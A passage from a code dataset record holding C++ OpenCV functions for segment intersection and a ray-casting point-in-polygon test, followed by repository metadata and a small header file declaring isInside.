Clockwise\n// 2 --> Counterclockwise\nint orientation(cv::Point p, cv::Point q, cv::Point r) {\n\tint val = (q.y - p.y) * (r.x - q.x) - (q.x - p.x) * (r.y - q.y);\n\n\tif (val == 0)\n\t\treturn 0; // colinear\n\treturn (val > 0) ? 1 : 2; // clock or counterclock wise\n}\n\n// The function that returns true if line segment 'p1q1'\n// and 'p2q2' intersect.\nbool doIntersect(cv::Point p1, cv::Point q1, cv::Point p2, cv::Point q2) {\n\t// Find the four orientations needed for general and\n\t// special cases\n\tint o1 = orientation(p1, q1, p2);\n\tint o2 = orientation(p1, q1, q2);\n\tint o3 = orientation(p2, q2, p1);\n\tint o4 = orientation(p2, q2, q1);\n\n\t// General case\n\tif (o1 != o2 && o3 != o4)\n\t\treturn true;\n\n\t// Special Cases\n\t// p1, q1 and p2 are colinear and p2 lies on segment p1q1\n\tif (o1 == 0 && onSegment(p1, p2, q1))\n\t\treturn true;\n\n\t// p1, q1 and p2 are colinear and q2 lies on segment p1q1\n\tif (o2 == 0 && onSegment(p1, q2, q1))\n\t\treturn true;\n\n\t// p2, q2 and p1 are colinear and p1 lies on segment p2q2\n\tif (o3 == 0 && onSegment(p2, p1, q2))\n\t\treturn true;\n\n\t// p2, q2 and q1 are colinear and q1 lies on segment p2q2\n\tif (o4 == 0 && onSegment(p2, q1, q2))\n\t\treturn true;\n\n\treturn false; // Doesn't fall in any of the above cases\n}\n\n// Returns true if the cv::Point p lies inside the polygon[] with n vertices\nbool isInside(cv::Point polygon[], int n, cv::Point p) {\n\t// There must be at least 3 vertices in polygon[]\n\tif (n < 3)\n\t\treturn false;\n\t// Create a cv::Point for line segment from p to infinite\n\tcv::Point extreme = cv::Point(INF, p.y);\n\n\t// Count intersections of the above line with sides of polygon\n\tint count = 0, i = 0;\n\tdo {\n\t\tint next = (i + 1) % n;\n\n\t\t// Check if the line segment from 'p' to 'extreme' intersects\n\t\t// with the line segment from 'polygon[i]' to 'polygon[next]'\n\t\tif (doIntersect(polygon[i], polygon[next], p, extreme)) {\n\t\t\t// If the cv::Point 'p' is colinear with line segment 'i-next',\n\t\t\t// then check if it lies on segment. If it lies, return true,\n\t\t\t// otherwise false\n\t\t\tif (orientation(polygon[i], p, polygon[next]) == 0)\n\t\t\t\treturn onSegment(polygon[i], p, polygon[next]);\n\n\t\t\tcount++;\n\t\t}\n\t\ti = next;\n\t} while (i != 0);\n\t// Return true if count is odd, false otherwise\n\treturn count & 1; // Same as (count%2 == 1)\n}\n\n" }, { "alpha_fraction": 0.7533039450645447, "alphanum_fraction": 0.757709264755249, "avg_line_length": 16.384614944458008, "blob_id": "b0d9bb0c539e9eba65067a89b3b69685cbcf5e4a", "content_id": "a76dfa888cde36cd33a842a912c0425425a7d628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 227, "license_type": "no_license", "max_line_length": 55, "num_lines": 13, "path": "/PointPolygonInteresector.hpp", "repo_name": "Logan-Peters/UCLA-REU-Code", "src_encoding": "UTF-8", "text": "#ifndef _POINTPOLYGONINTERSECTOR_HEADER_\n#define _POINTPOLYGONINTERSECTOR_HEADER_\n\n#include <opencv2/core/types.hpp>\n\nusing namespace std;\nusing namespace cv;\n\n\nbool isInside(cv::Point polygon[], int n, cv::Point p);\n\n\n#endif\n\n" } ]
7